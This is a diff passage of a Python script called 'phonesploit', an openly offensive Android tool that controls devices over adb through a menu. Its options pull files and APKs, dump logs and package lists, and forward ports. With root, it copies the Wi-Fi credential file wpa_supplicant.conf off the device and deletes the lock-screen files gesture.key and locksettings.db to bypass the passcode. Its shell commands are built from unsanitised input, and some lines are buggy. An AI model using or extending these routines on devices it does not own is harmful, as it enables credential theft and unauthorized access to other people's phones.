raw_input(" "+arrow + "phonesploit"+Fore.RED + "(file_pull) "+Fore.WHITE + "> ") + os.system("adb -s "+device_name+" pull "+file_location+" "+place_location) + option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ") + + elif option == '10': + os.system("adb -s "+device_name+ " reboot ") + option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ") + + elif option == '11': + print ((" "+connect)) + print ((" [{0}+{1}]Enter a package name.").format(Fore.RED, Fore.WHITE)) + package_name = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(app_delete) "+Fore.WHITE + "> ") + os.system("adb -s "+device_name+" unistall "+package_name) + option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ") - elif option == '22': - print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) - device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(wifi) "+Fore.WHITE + "> ") - print ((" "+connect)) - print ((" [{0}+{1}] To turn wifi back on you need the device to be pluged in.").format(Fore.RED, Fore.WHITE)) - print ((" "+connect)) - on_off = raw_input(Fore.WHITE + " ["+Fore.RED+"+"+Fore.WHITE+"]Would you like the wifi "+Fore.GREEN +"on"+Fore.WHITE +"/"+Fore.RED +"off "+Fore.WHITE) - if on_off == 'off': - command = " shell svc wifi disable" - else: - command = " shell svc wifi enable" - - os.system("adb -s "+device_name+command) - - elif option == '23': - print (("[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) - device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(pass_remove) "+Fore.WHITE + "> ") - print ((Fore.WHITE + " [{0}+{1}]{1}THE DEVICE NEEDS TO BE ROOTED TO CONTINUE TO EXIT USE CTRL +C THIS IS ALSO UNTESTED").format(Fore.RED, Fore.WHITE)) - print ((" "+connect)) - print (Fore.RED + "******************TRYING TO REMOVE PASS******************") - os.system("adb -s "+device_name+" shell su 0 'rm /data/system/gesture.key'") - os.system("adb -s "+device_name+" shell su 0 'rm /data/system/locksettings.db'") - os.system("adb -s "+device_name+" shell su 0 'rm /data/system/locksettings.db-wal'") - os.system("adb -s "+device_name+" shell su 0 'rm /data/system/locksettings.db-shm'") - print (Fore.RED + "******************TRYING TO REMOVE PASS******************") - - elif option == '24': - print (("[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) - device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(keycode) "+Fore.WHITE + "> ") - print (''' -0 --> "KEYCODE_UNKNOWN" -1 --> "KEYCODE_MENU" -2 --> "KEYCODE_SOFT_RIGHT" -3 --> "KEYCODE_HOME" -4 --> "KEYCODE_BACK" -5 --> "KEYCODE_CALL" -6 --> "KEYCODE_ENDCALL" -7 --> "KEYCODE_0" -8 --> "KEYCODE_1" -9 --> "KEYCODE_2" -10 --> "KEYCODE_3" -11 --> "KEYCODE_4" -12 --> "KEYCODE_5" -13 --> "KEYCODE_6" -14 --> "KEYCODE_7" -15 --> "KEYCODE_8" -16 --> "KEYCODE_9" -17 --> "KEYCODE_STAR" -18 --> "KEYCODE_POUND" -19 --> "KEYCODE_DPAD_UP" -20 --> "KEYCODE_DPAD_DOWN" -21 --> "KEYCODE_DPAD_LEFT" -22 --> "KEYCODE_DPAD_RIGHT" -23 --> "KEYCODE_DPAD_CENTER" -24 --> "KEYCODE_VOLUME_UP" -25 --> "KEYCODE_VOLUME_DOWN" -26 --> "KEYCODE_POWER" -27 --> "KEYCODE_CAMERA" -28 --> "KEYCODE_CLEAR" -29 --> "KEYCODE_A" -30 --> "KEYCODE_B" -31 --> "KEYCODE_C" -32 --> "KEYCODE_D" -33 --> "KEYCODE_E" -34 --> "KEYCODE_F" -35 --> "KEYCODE_G" -36 --> "KEYCODE_H" -37 --> "KEYCODE_I" -38 --> "KEYCODE_J" -39 --> "KEYCODE_K" -40 --> "KEYCODE_L" -41 --> "KEYCODE_M" -42 --> "KEYCODE_N" -43 --> "KEYCODE_O" -44 --> "KEYCODE_P" -45 --> "KEYCODE_Q" -46 --> "KEYCODE_R" -47 --> "KEYCODE_S" -48 --> "KEYCODE_T" -49 --> "KEYCODE_U" -50 --> "KEYCODE_V" -51 --> "KEYCODE_W" -52 --> "KEYCODE_X" -53 --> "KEYCODE_Y" -54 --> "KEYCODE_Z" -55 --> "KEYCODE_COMMA" -56 --> "KEYCODE_PERIOD" -57 --> "KEYCODE_ALT_LEFT" -58 --> "KEYCODE_ALT_RIGHT" -59 --> "KEYCODE_SHIFT_LEFT" -60 --> "KEYCODE_SHIFT_RIGHT" -61 --> "KEYCODE_TAB" -62 --> "KEYCODE_SPACE" -63 --> "KEYCODE_SYM" -64 --> "KEYCODE_EXPLORER" -65 --> "KEYCODE_ENVELOPE" -66 --> "KEYCODE_ENTER" -67 --> "KEYCODE_DEL" -68 --> "KEYCODE_GRAVE" -69 --> "KEYCODE_MINUS" -70 --> "KEYCODE_EQUALS" -71 --> "KEYCODE_LEFT_BRACKET" -72 --> "KEYCODE_RIGHT_BRACKET" -73 --> "KEYCODE_BACKSLASH" -74 --> "KEYCODE_SEMICOLON" -75 --> "KEYCODE_APOSTROPHE" -76 --> "KEYCODE_SLASH" -77 --> "KEYCODE_AT" -78 --> "KEYCODE_NUM" -79 --> "KEYCODE_HEADSETHOOK" -80 --> "KEYCODE_FOCUS" -81 --> "KEYCODE_PLUS" -82 --> "KEYCODE_MENU" -83 --> "KEYCODE_NOTIFICATION" -84 --> "KEYCODE_SEARCH" -85 --> "TAG_LAST_KEYCODE" - ''') - print (("[{0}+{1}]Enter a number.").format(Fore.RED, Fore.WHITE)) - num = raw_input(arrow + "phonesploit"+Fore.RED + "(keycode) "+Fore.WHITE + "> ") - os.system("adb -s "+device_name+" shell input keyevent "+num) - - elif option == '25': - print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) - device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(current_activity) "+Fore.WHITE + "> ") - os.system("adb -s " +device_name+ " dumpsys activity") - main() - - elif option == '0': - global page2 - if page2 == True: - clear(page_2) + elif option == '12': + os.system('adb -s '+device_name+" logcat ") + option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ") + + elif option == '13': + os.system("adb -s "+device_name+" dumpsys") + option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ") + + elif option == '14': + os.system("adb -s " +device_name+ " shell pm list packages -f") + option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ") + + elif option == '15': + print ((" "+connect)) + print ((" [{0}+{1}]Enter a package name. They look like this --> com.snapchat.android").format(Fore.RED, Fore.WHITE)) + package_name = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(app_run) "+Fore.WHITE + "> ") + os.system("adb -s "+device_name+" shell monkey -p "+package_name+" -v 500") + option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ") + + elif option == '16': + print ((" "+connect)) + print ((" [{0}+{1}]Enter a port on the device.").format(Fore.RED, Fore.WHITE)) + port_device = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(port_forward) "+Fore.WHITE + "> ") + print ((" "+connect)) + print ((" [{0}+{1}]Enter a port to forward it too.").format(Fore.RED, Fore.WHITE)) + forward_port = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(port_forward) "+Fore.WHITE + "> ") + os.system("adb -s "+device_name+" forward tcp:"+port_device+" tcp:"+forward_port) + option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ") + + elif option == '17': + try: + print ((Fore.WHITE + " [{0}+{1}]{1}THE DEVICE NEEDS TO BE ROOTED TO CONTINUE TO EXIT USE CTRL +C").format(Fore.RED, Fore.WHITE)) + print ((" "+connect)) + print ((" [{0}+{1}]Enter where you want the file to be saved.[Default: present working directory]").format(Fore.RED, Fore.WHITE)) + location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(wpa_grab) "+Fore.WHITE + "> ") + os.system("adb -s "+device_name+" shell "+"su -c 'cp /data/misc/wifi/wpa_supplicant.conf /sdcard/'") + os.system("adb -s "+device_name+" pull /sdcard/wpa_supplicant.conf "+location) + option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ") + + except KeyboardInterrupt: + option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ") + + elif option == '18': + os.system("adb -s " +device_name+ " shell ip address show wlan0") + option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ") + + elif option == '19': + print ((" "+connect)) + print ((" [{0}+{1}]Enter a package name. They look like this --> com.snapchat.android").format(Fore.RED, Fore.WHITE)) + package_name = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(pull_apk) "+Fore.WHITE + "> ") + os.system("adb -s "+device_name+" shell pm path "+package_name) + print ((" "+connect)) + print ((" [{0}+{1}]Enter The path.looks like this /data/app/com.snapchat.android-qWgDcBiCEvANq6op_NPqeA==/base.apk").format(Fore.RED, Fore.WHITE)) + path = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(pull_apk) "+Fore.WHITE + "> ") + print ((" "+connect)) + print ((" [{0}+{1}]Enter The location to store the apk: [Default: present working directory]") .format(Fore.RED, Fore.WHITE)) + location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(pull_apk) "+Fore.WHITE + "> ") + os.system("adb -s " +device_name+" pull "+path+" "+location) + option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ") + + elif option == '20': + os.system("adb -s " +device_name+ " shell dumpsys battery") + option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ") + + elif option == '21': + os.system("adb -s " +device_name+ " shell netstat") + option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ") + + elif option == '22': + print ((" "+connect)) + print ((" [{0}+{1}] To turn wifi back on you need the device to be pluged in.").format(Fore.RED, Fore.WHITE)) + print ((" "+connect)) + on_off = raw_input(Fore.WHITE + " ["+Fore.RED+"+"+Fore.WHITE+"]Would you like the wifi "+Fore.GREEN +"on"+Fore.WHITE +"/"+Fore.RED +"off "+Fore.WHITE) + if on_off == 'off': + command = " shell svc wifi disable" + else: + command = " shell svc wifi enable" + + os.system("adb -s "+device_name+command) + option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ") + + elif option == '23': + print ((Fore.WHITE + " [{0}+{1}]{1}THE DEVICE NEEDS TO BE ROOTED TO CONTINUE TO EXIT USE CTRL +C THIS IS ALSO UNTESTED").format(Fore.RED, Fore.WHITE)) + print ((" "+connect)) + print (Fore.RED + "******************TRYING TO REMOVE PASS******************") + os.system("adb -s "+device_name+" shell su 0 'rm /data/system/gesture.key'") + os.system("adb -s "+device_name+" shell su 0 'rm /data/system/locksettings.db'") + os.system("adb -s "+device_name+" shell su 0 'rm /data/system/locksettings.db-wal'") + os.system("adb -s "+device_name+" shell su 0 'rm /data/system/locksettings.db-shm'") + print (Fore.RED + "******************TRYING TO REMOVE PASS******************") + option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ") + + elif option == '24': + print (''' + 0 --> "KEYCODE_UNKNOWN" + 1 --> "KEYCODE_MENU" + 2 --> "KEYCODE_SOFT_RIGHT" + 3 --> "KEYCODE_HOME" + 4 --> "KEYCODE_BACK" + 5 --> "KEYCODE_CALL" + 6 --> "KEYCODE_ENDCALL" + 7 --> "KEYCODE_0" + 8 --> "KEYCODE_1" + 9 --> "KEYCODE_2" + 10 --> "KEYCODE_3" + 11 --> "KEYCODE_4" + 12 --> "KEYCODE_5" + 13 --> "KEYCODE_6" + 14 --> "KEYCODE_7" + 15 --> "KEYCODE_8" + 16 --> "KEYCODE_9" + 17 --> "KEYCODE_STAR" + 18 --> "KEYCODE_POUND" + 19 --> "KEYCODE_DPAD_UP" + 20 --> "KEYCODE_DPAD_DOWN" + 21 --> "KEYCODE_DPAD_LEFT" + 22 --> "KEYCODE_DPAD_RIGHT" + 23 --> "KEYCODE_DPAD_CENTER" + 24 --> "KEYCODE_VOLUME_UP" + 25 --> "KEYCODE_VOLUME_DOWN" + 26 --> "KEYCODE_POWER" + 27 --> "KEYCODE_CAMERA" + 28 --> "KEYCODE_CLEAR" + 29 --> "KEYCODE_A" + 30 --> "KEYCODE_B" + 31 --> "KEYCODE_C" + 32 --> "KEYCODE_D" + 33 --> "KEYCODE_E" + 34 --> "KEYCODE_F" + 35 --> "KEYCODE_G" + 36 --> "KEYCODE_H" + 37 --> "KEYCODE_I" + 38 --> "KEYCODE_J" + 39 --> "KEYCODE_K" + 40 --> "KEYCODE_L" + 41 --> "KEYCODE_M" + 42 --> "KEYCODE_N" + 43 --> "KEYCODE_O" + 44 --> "KEYCODE_P" + 45 --> "KEYCODE_Q" + 46 --> "KEYCODE_R" + 47 --> "KEYCODE_S" + 48 --> "KEYCODE_T" + 49 --> "KEYCODE_U" + 50 --> "KEYCODE_V" + 51 --> "KEYCODE_W" + 52 --> "KEYCODE_X" + 53 --> "KEYCODE_Y" + 54 --> "KEYCODE_Z" + 55 --> "KEYCODE_COMMA" + 56 --> "KEYCODE_PERIOD" + 57 --> "KEYCODE_ALT_LEFT" + 58 --> "KEYCODE_ALT_RIGHT" + 59 --> "KEYCODE_SHIFT_LEFT" + 60 --> "KEYCODE_SHIFT_RIGHT" + 61 --> "KEYCODE_TAB" + 62 --> "KEYCODE_SPACE" + 63 --> "KEYCODE_SYM" + 64 --> "KEYCODE_EXPLORER" + 65 --> "KEYCODE_ENVELOPE" + 66 --> "KEYCODE_ENTER" + 67 --> "KEYCODE_DEL" + 68 --> "KEYCODE_GRAVE" + 69 --> "KEYCODE_MINUS" + 70 --> "KEYCODE_EQUALS" + 71 --> "KEYCODE_LEFT_BRACKET" + 72 --> "KEYCODE_RIGHT_BRACKET" + 73 --> "KEYCODE_BACKSLASH" + 74 --> "KEYCODE_SEMICOLON" + 75 --> "KEYCODE_APOSTROPHE" + 76 --> "KEYCODE_SLASH" + 77 --> "KEYCODE_AT" + 78 --> "KEYCODE_NUM" + 79 --> "KEYCODE_HEADSETHOOK" + 80 --> "KEYCODE_FOCUS" + 81 --> "KEYCODE_PLUS" + 82 --> "KEYCODE_MENU" + 83 --> "KEYCODE_NOTIFICATION" + 84 --> "KEYCODE_SEARCH" + 85 --> "TAG_LAST_KEYCODE" + ''') + print (("[{0}+{1}]Enter a number.").format(Fore.RED, Fore.WHITE)) + num = raw_input(arrow + "phonesploit"+Fore.RED + "(keycode) "+Fore.WHITE + "> ") + os.system("adb -s "+device_name+" shell input keyevent "+num) + option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ") + + elif option == '25': + os.system("adb -s " +device_name+ " dumpsys activity") + option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ") + + elif option == '0': + global page2 + if page2 == True: + clear(page_2) + option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ") + else: + clear(page_1) + option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ") + + elif option == 'p': + os.system('clear') + page2 = True + banner_title = random.choice([logo_design_1,logo_design_2,logo_design_3,logo_design_4]) + print (Fore.RED + banner_title) + print (page_2) + option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ") + + elif option == 'b': + os.system('clear') + page2 = False + banner_title = random.choice([logo_design_1,logo_design_2,logo_design_3,logo_design_4]) + print (Fore.RED + banner_title) + print (page_1) + option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ") + + elif option == '99': + exit() + break else: - clear(page_1) - - elif option == 'p': - os.system('clear') - page2 = True - banner_title = random.choice([logo_design_1,logo_design_2,logo_design_3,logo_design_4]) - print (Fore.RED + banner_title) - print (page_2) - - elif option == 'b': - os.system('clear') - page2 = False - banner_title = random.choice([logo_design_1,logo_design_2,logo_design_3,logo_design_4]) - print (Fore.RED + banner_title) - print (page_1) - - elif option == '99': - exit() + os.system("error: invalid menu option") + option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ") main() @@ -444,7 +442,7 @@ def clear(page): #============================= # Run -yn = raw_input(Fore.WHITE + "Have you already installed adb via command line "+Fore.GREEN + "Y"+Fore.WHITE+"/"+Fore.RED+"N "+Fore.WHITE) +yn = raw_input(Fore.WHITE + "Have you already installed adb via command line "+Fore.GREEN + "Y"+Fore.WHITE+"/"+Fore.RED+"n "+Fore.WHITE) if yn == "n": os.system("sudo apt install adb") print (Fore.RED + "Starting adb server..") @@ -452,6 +450,6 @@ def clear(page): t.sleep(4) os.system('clear') banner_title = random.choice([logo_design_1,logo_design_2,logo_design_3,logo_design_4]) -print (Fore.RED + banner_title) +print (Fore.RED + banner_title) print (page_1) main()